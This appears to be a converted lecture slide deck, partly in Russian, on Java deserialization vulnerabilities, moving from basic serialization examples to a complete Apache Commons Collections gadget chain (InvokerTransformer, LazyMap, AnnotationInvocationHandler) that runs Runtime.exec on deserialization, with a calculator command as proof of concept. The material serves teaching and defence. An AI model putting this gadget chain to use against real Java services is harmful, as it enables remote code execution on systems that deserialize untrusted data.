

Java deserialization vulnerabilities

Serialization/deserialization

Сериализация (Serialization) — это процесс, который переводит объект в последовательность байтов, по которой затем его можно полностью восстановить (deserialization).

```
public class Serialization {  
  
    public static void main(String[] args) throws Exception {  
  
        Person p = new Person();  
        p.name = "Matthias Kaiser";  
        p.birthDate = new Date(0x1337);  
  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(  
            "/tmp/person.bin"));  
        oos.writeObject(p);  
        oos.flush();  
    }  
}
```

```
public class Person implements Serializable {  
  
    public static final long serialVersionUID = 0x12345678L;  
    public String name;  
    public Date birthDate;  
}
```

00000000	ac ed 00 05 73 72 00 0d	70 65 72 73 6f 6e 2e 50sr..person.P
00000010	65 72 73 6f 6e 00 00 00	00 12 34 56 78 02 00 02	erson.....4Vx...
00000020	4c 00 09 62 69 72 74 68	44 61 74 65 74 00 10 4c	L..birthDatet..L
00000030	6a 61 76 61 2f 75 74 69	6c 2f 44 61 74 65 3b 4c	java/util/Date;L
00000040	00 04 6e 61 6d 65 74 00	12 4c 6a 61 76 61 2f 6c	..namet..Ljava/l
00000050	61 6e 67 2f 53 74 72 69	6e 67 3b 78 70 73 72 00	ang/String;xpsr.
00000060	0e 6a 61 76 61 2e 75 74	69 6c 2e 44 61 74 65 68	.java.util.Dateh
00000070	6a 81 01 4b 59 74 19 03	00 00 78 70 77 08 00 00	j..KYt....xpw...
00000080	00 00 00 00 13 37 78 74	00 0f 4d 61 74 74 68 697xt..Matthi
00000090	61 73 20 4b 61 69 73 65	72	as Kaiser
00000099			

Serialization/deserialization

```
00000000 ac ed 00 05 73 72 00 0d 70 65 72 73 6f 6e 2e 50 |....sr..person.P|
00000010 65 72 73 6f 6e 00 00 00 00 12 34 56 78 02 00 02 |erson.....4Vx...|
00000020 4c 00 09 62 69 72 74 68 44 61 74 65 74 00 10 4c |L..birthDate..L|
00000030 6a 61 76 61 2f 75 74 69 6c 2f 44 61 74 65 3b 4c |java/util/Date;L|
00000040 00 04 6e 61 6d 65 74 00 12 4c 6a 61 76 61 2f 6c |..name..Ljava/l|
00000050 61 6e 67 2f 53 74 72 69 6e 67 3b 78 70 73 72 00 |ang/String;xpsr.|
00000060 0e 6a 61 76 61 2e 75 74 69 6c 2e 44 61 74 65 68 |.java.util.Dateh|
00000070 6a 81 01 4b 59 74 19 03 00 00 78 70 77 08 00 00 |j..KYt....xpw...|
00000080 00 00 00 00 13 37 78 74 00 0f 4d 61 74 74 68 69 |.....7xt..Matthi|
00000090 61 73 20 4b 61 69 73 65 72 |as Kaiser|
00000099
```

```
public class Deserialization {

    public static void main(String[] args) throws Exception {

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
            "/tmp/person.bin"));
        Person p = (Person) ois.readObject();

        System.out.println("Name:\t\t" + p.name + "\nBirthDate:\t"
            + p.birthDate.getTime());
    }
}
```

```
Name:      Matthias Kaiser
BirthDate: 4919
```

Serialization/deserialization

- Class **java.io.ObjectOutputStream**
 - Пишет сериализованные данные в OutputStream
 - Методы: writeObject(), writeChar(), writeShort(), writeUTF()
- Class **java.io.ObjectInputStream**
 - Читает сериализованные данные из InputStream
 - Методы: readObject(), readChar(), readShort(), readUTF()

Serialization/deserialization

- Программист может контролировать процесс сериализации/десериализации путем наследования от класса **Serializable** и реализовав методы **writeObject()**, **readObject()**

Serialization/deserialization

```
00000000 ac ed 00 05 73 72 00 0e 70 65 72 73 6f 6e 32 2e |....sr..person2.|
00000010 50 65 72 73 6f 6e 00 00 00 00 12 34 56 78 03 00 |Person.....4Vx..|
00000020 02 4c 00 09 62 69 72 74 68 44 61 74 65 74 00 10 |.L..birthDate...|
00000030 4c 6a 61 76 61 2f 75 74 69 6c 2f 44 61 74 65 3b |Ljava/util/Date;|
00000040 4c 00 04 6e 61 6d 65 74 00 12 4c 6a 61 76 61 2f |L..name...Ljava/|
00000050 6c 61 6e 67 2f 53 74 72 69 6e 67 3b 78 70 73 72 |lang/String;xpsr|
00000060 00 0e 6a 61 76 61 2e 75 74 69 6c 2e 44 61 74 65 |..java.util.Date|
00000070 68 6a 81 01 4b 59 74 19 03 00 00 78 70 77 08 00 |hj..KYt....xpw..|
00000080 00 00 00 00 00 13 37 78 74 00 0f 4d 61 74 74 68 |.....7xt..Matth|
00000090 69 61 73 20 4b 61 69 73 65 72 77 09 00 07 6b 61 |ias Kaiserw...ka|
000000a0 69 6d 61 74 74 78 |imattx|
```

```
public class Person implements Serializable {

    public static final long serialVersionUID = 0x12345678L;
    public String name;
    public Date birthDate;

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeUTF(System.getProperty("user.name"));
    }

    private Object writeReplace() throws ObjectStreamException {
        return this;
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException,
        ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("Person was serialized by:" + in.readUTF());
    }

    private Object readResolve() throws ObjectStreamException {
        return this;
    }
}
```

```
public class Deserialization {

    public static void main(String[] args) throws Exception {

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
            "/tmp/person.bin"));
        Person p = (Person) ois.readObject();

        System.out.println("Name:\t\t\t\t" + p.name + "\nBirthDate:\t\t\t\t"
            + p.birthDate.getTime());
    }
}
```

```
Person was serialized by:      kaimatt
Name:                          Matthias Kaiser
BirthDate:                     4919
```

В чем может быть проблема?

- **ObjectInputStream** не проверяет, какой класс десериализуется
- Все объекты, классы которых есть в **classpath**, могут быть десериализованны
- Хотя в конце десериализации может быть получен **ClassCastException**, объект все равно будет создан!
- Если у класса есть что-нибудь “опасное” в методе **readObject**, это может быть использовано

Нужно для эксплойта

- **Из JDK:**

- AnnotationInvocationHandler
- Proxy
- Map
- InvocationHandler
- Runtime

- **Из Apache Commons Collections:**

- LazyMap
- Transformer
- ConstTransformer
- ChainedTransformer
- InvokerTransformer

Transformer

- **Transformer** – интерфейс.
- Основной метод - **transform(Object input)**. Принимает на вход объект **input**, “трансформирует” его в объект **output**.
- **ConstTransformer** – возвращает всегда один и тот же объект **output**, независимо от **input**.

InvokerTransformer

- Конструктор - **InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)**
- Метод **transform(Object input)** получает **output** путем вызова метода **methodName**, у которого аргументы типа **Class[] paramTypes**, передав ему в качестве аргумента **Object[] args**.

```
/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 *
 * @param methodName the method to call
 * @param paramTypes the constructor parameter types, not cloned
 * @param args the constructor arguments, not cloned
 */
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
```

```
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '"
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '"
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '"
    }
}
```

Code Execution

```
1 public class CommonsCollections1PayloadOnly {
2     public static void main(String... args) {
3         String[] command = {"open -a calculator"};
4         final Transformer[] transformers = new Transformer[]{
5             new ConstantTransformer(Runtime.class), //(1)
6             new InvokerTransformer("getMethod",
7                 new Class[]{String.class, Class[].class},
8                 new Object[]{"getRuntime", new Class[0]})
9             ), //(2)
10            new InvokerTransformer("invoke",
11                new Class[]{Object.class, Object[].class},
12                new Object[]{null, new Object[0]})
13            ), //(3)
14            new InvokerTransformer("exec",
15                new Class[]{String.class},
16                command
17            ) //(4)
18        };
19        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
20        Map map = new HashMap<>();
21        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
22        lazyMap.get("gursev");
23    }
24 }
```

java.lang

Class Class<T>

java.lang.Object

java.lang.Class<T>

getMethod

```
public Method getMethod(String name,
                        Class<?>... parameterTypes)
                        throws NoSuchMethodException,
                        SecurityException
```

Code Execution

```
1 public class CommonsCollections1PayloadOnly {
2     public static void main(String... args) {
3         String[] command = {"open -a calculator"};
4         final Transformer[] transformers = new Transformer[]{
5             new ConstantTransformer(Runtime.class), //(1)
6             new InvokerTransformer("getMethod",
7                 new Class[]{String.class, Class[].class},
8                 new Object[]{"getRuntime", new Class[0]})
9             ), //(2)
10            new InvokerTransformer("invoke",
11                new Class[]{Object.class, Object[].class},
12                new Object[]{null, new Object[0]})
13            ), //(3)
14            new InvokerTransformer("exec",
15                new Class[]{String.class},
16                command
17            ) //(4)
18        };
19        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
20        Map map = new HashMap<>();
21        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
22        lazyMap.get("gursev");
23    }
24 }
```

Class Method

java.lang.Object
java.lang.reflect.AccessibleObject
java.lang.reflect.Method

All Implemented Interfaces:

AnnotatedElement, GenericDeclaration, Member

invoke

```
public Object invoke(Object obj,
    Object... args)
    throws IllegalAccessException,
        IllegalArgumentException,
        InvocationTargetException
```

Code Execution

```
1 public class CommonsCollections1PayloadOnly {
2     public static void main(String... args) {
3         String[] command = {"open -a calculator"};
4         final Transformer[] transformers = new Transformer[]{
5             new ConstantTransformer(Runtime.class), //(1)
6             new InvokerTransformer("getMethod",
7                 new Class[]{String.class, Class[].class},
8                 new Object[]{"getRuntime", new Class[0]})
9             ), //(2)
10            new InvokerTransformer("invoke",
11                new Class[]{Object.class, Object[].class},
12                new Object[]{null, new Object[0]})
13            ), //(3)
14            new InvokerTransformer("exec",
15                new Class[]{String.class},
16                command
17            ) //(4)
18        };
19        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
20        Map map = new HashMap<>();
21        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
22        lazyMap.get("gursev");
23    }
24 }
```

java.lang

Class Runtime

java.lang.Object

java.lang.Runtime

```
public class Runtime
extends Object
```

`getRuntime()`

Returns the runtime object associated with the current Java application.

Code Execution

```
1 public class CommonsCollections1PayloadOnly {
2     public static void main(String... args) {
3         String[] command = {"open -a calculator"};
4         final Transformer[] transformers = new Transformer[]{
5             new ConstantTransformer(Runtime.class), //(1)
6             new InvokerTransformer("getMethod",
7                 new Class[]{String.class, Class[].class},
8                 new Object[]{"getRuntime", new Class[0]})
9             ), //(2)
10            new InvokerTransformer("invoke",
11                new Class[]{Object.class, Object[].class},
12                new Object[]{null, new Object[0]})
13            ), //(3)
14            new InvokerTransformer("exec",
15                new Class[]{String.class},
16                command
17            ) //(4)
18        };
19        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
20        Map map = new HashMap<>();
21        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
22        lazyMap.get("gursev");
23    }
24 }
```

java.lang

Class Runtime

java.lang.Object

java.lang.Runtime

```
public class Runtime
extends Object
```

`exec(String[] cmdarray)`

Executes the specified command and arguments in a separate process.

`exec(String[] cmdarray, String[] envp)`

Executes the specified command and arguments in a separate process with the specified environment.

`exec(String[] cmdarray, String[] envp, File dir)`

Executes the specified command and arguments in a separate process with the specified environment and working directory.

`exec(String command, String[] envp)`

Executes the specified string command in a separate process with the specified environment.

`exec(String command, String[] envp, File dir)`

Executes the specified string command in a separate process with the specified environment and working directory.

Exploit

- Осталось найти Serializable класс, который внутри **readObject()** вызывает у **LazyMap** метод **get()**
- Посмотрим на класс **sun.reflect.annotation.AnnotationInvocationHandler**

```
class AnnotationInvocationHandler implements InvocationHandler, Serializable {  
    private static final long serialVersionUID = 6182022883658399397L;  
    private final Class<? extends Annotation> type;  
    private final Map<String, Object> memberValues;  
  
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {  
        Class<?>[] superInterfaces = type.getInterfaces();  
        if (!type.isAnnotation() ||  
            superInterfaces.length != 1 ||  
            superInterfaces[0] != java.lang.annotation.Annotation.class)  
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");  
        this.type = type;  
        this.memberValues = memberValues;  
    }  
}
```



```

1 public class CommonsCollections1All {
2     public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
3         Object evilObject = getEvilObject();
4         byte[] serializedObject = serializeToByteArray(evilObject);
5         deserializeFromByteArray(serializedObject);
6     }
7
8     public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {
9         String[] command = {"open -a calculator"};
10        final Transformer[] transformers = new Transformer[]{
11            new ConstantTransformer(Runtime.class),
12            new InvokerTransformer("getMethod",
13                new Class[]{String.class, Class[].class},
14                new Object[]{"getRuntime", new Class[0]}
15            ),
16            new InvokerTransformer("invoke",
17                new Class[]{Object.class, Object[].class},
18                new Object[]{null, new Object[0]}
19            ),
20            new InvokerTransformer("exec",
21                new Class[]{String.class},
22                command
23            )
24        };
25
26        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
27
28        Map map = new HashMap<>();
29        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
30
31        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
32
33        final Constructor<> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
34        constructor.setAccessible(true);
35        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
36        Proxy evilProxy = (Proxy) Proxy.newProxyInstance(CommonsCollections1All.class.getClassLoader(), new Class[] {Map.class}, secondInvocationHandler );
37
38        InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
39        return invocationHandlerToSerialize;
40    }
41 }
42

```

Exploit

```
31 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
32
33 final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
34 constructor.setAccessible(true);
35 InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
36
37 Proxy evilProxy = (Proxy) Proxy.newProxyInstance(String.class.getClassLoader(), new Class[] {Map.class}, secondInvocationHandler );
38 InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
39 return invocationHandlerToSerialize;
40
41 }
42 }
```

```
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
}
```

Exploit

```
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
}
```

```
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}
```

```
31 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
32
33 final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
34 constructor.setAccessible(true);
35 InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
36
37 Proxy evilProxy = (Proxy) Proxy.newProxyInstance(String.class.getClassLoader(), new Class[] {Map.class}, secondInvocationHandler);
38 InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
39 return invocationHandlerToSerialize;
40
41 }
42 }
```

```

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);
}

```

```

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

```

```

31 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
32
33 final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
34 constructor.setAccessible(true);
35 InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
36
37 Proxy evilProxy = (Proxy) Proxy.newProxyInstance(String.class.getClassLoader(), new Class[] {Map.class}, secondInvocationHandler);
38 InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
39 return invocationHandlerToSerialize;
40
41 }
42 }

```